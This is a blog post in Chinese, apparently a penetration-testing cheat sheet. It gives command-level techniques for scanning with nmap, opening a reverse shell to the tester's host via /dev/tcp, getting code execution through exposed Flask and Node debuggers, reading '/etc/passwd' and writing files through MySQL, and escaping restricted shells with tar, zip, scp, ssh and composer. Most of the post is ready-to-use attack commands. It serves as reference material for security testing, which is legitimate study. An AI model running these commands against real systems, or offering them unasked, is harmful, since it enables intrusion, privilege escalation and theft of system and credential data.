guest@blog.cmj.tw: ~/posts $

滲透測試 (PT)


紀錄一下 pentest 會用到的相關技術

discover

掃描目標區段

# scan 192.X.Y.0/24 with 1) treat all host as online and 2) by TCP SYN
> nmap -sS -Pn 192.X.Y.0/24

# scan 192.X.Y.Z with TCP open port
> nmap -p - 192.X.Y.Z
# scan 192.X.Y.Z with UTP TOP open port
> nmap -sU --top-ports N 192.X.Y.Z
curl URL | grep -oE "(href|src)=([\"']).*?\2" | sort | uniq

reversed shell

主要是在 local 環境執行 nc -lvn PORT 監聽 PORT 並等待反相連接,而目標可以透過 sh -i >&0 /dev/tcp/192.X.Y.Z/PORT 0>&1 連接到本地端 (local),成功的時候 nc 當下指令就可以拿到目標端的 shell

  • 可以額外執行 python -c 'import pty; pty.spawn("/bin/sh")' 獲得 TTY
  • 先用 Ctrl-Z 脫離 nc、執行 stty raw -echo、fg 回到 nc,避免 Ctrl-C 之後離開 nc

更多版本 reverse shell 可以參考 這篇

debugger mode

當應用程式因為設定上錯誤導致 debug mode 開啟時,造成容易拿到 reversed shell 的狀況發生

flask

當 flask 開啟 debug mode 的時候,可以連到 http://localhost:5000/console 開啟指令模式。 之後可以透過 curl http://localhost:5000/console | grep SECRET -i 找到 secret,接著透過 curl http://localhost:5000/console?__debugger__=yes&cmd=CMD&frm=0&s=SECRET 就可以執行任意 python 指令。

node / js

根據 Node v8 / debugger-client 上的描述,可以透過 debugger 執行任意 expression

{
	"seq": 1,
	"type": "request",
	"command": "evaluate",
	"arguments": {
		"expression": PAYLOAD
	}
}

privileges escalation

SQL

當拿到 SQL 權限時,可以透過下面幾種方式拿到更多的權限:

MySQL

> SELECT @@VERSION                       # MySQL version
> SELECT user()                          # current user
> SELECT 'pwn' INTO DUMPFILE '/tmp/pwn'  # write into host file-system
> SELECT LOAD_FILE('/etc/passwd')        # read from the host file-system

> SELECT @@PLUGIN_DIR                    # the plugin directory, may UDF
> SELECT TO_BASE64('pwn')                # check base64 support

sqlite

> .shell COMMAND      # execute system commnad

Restricted Shell

Program method
python python -c 'import os; os.system("/bin/sh")'
vim :set shell=/bin/sh and :shell
tar tar zcvf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/sh
zip zip testfile /dev/null -T --unzip-command='sh -c /bin/sh'
awk awk 'BEGIN {system("/bin/bash")}'
scp echo 'sh 0>&2 1>&2' > shell; scp -S ./shell x y:
ssh echo 'sh 0>&2 1>&2' > shell; ssh -o ProxyCommand=./shell 127.0.0.1
composer echo '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}} > composer.json; composer --working-dir=. run-script x

Forensic

# aureport - produces summary reports of audit daemon logs
> aureport --tty 2>/dev/null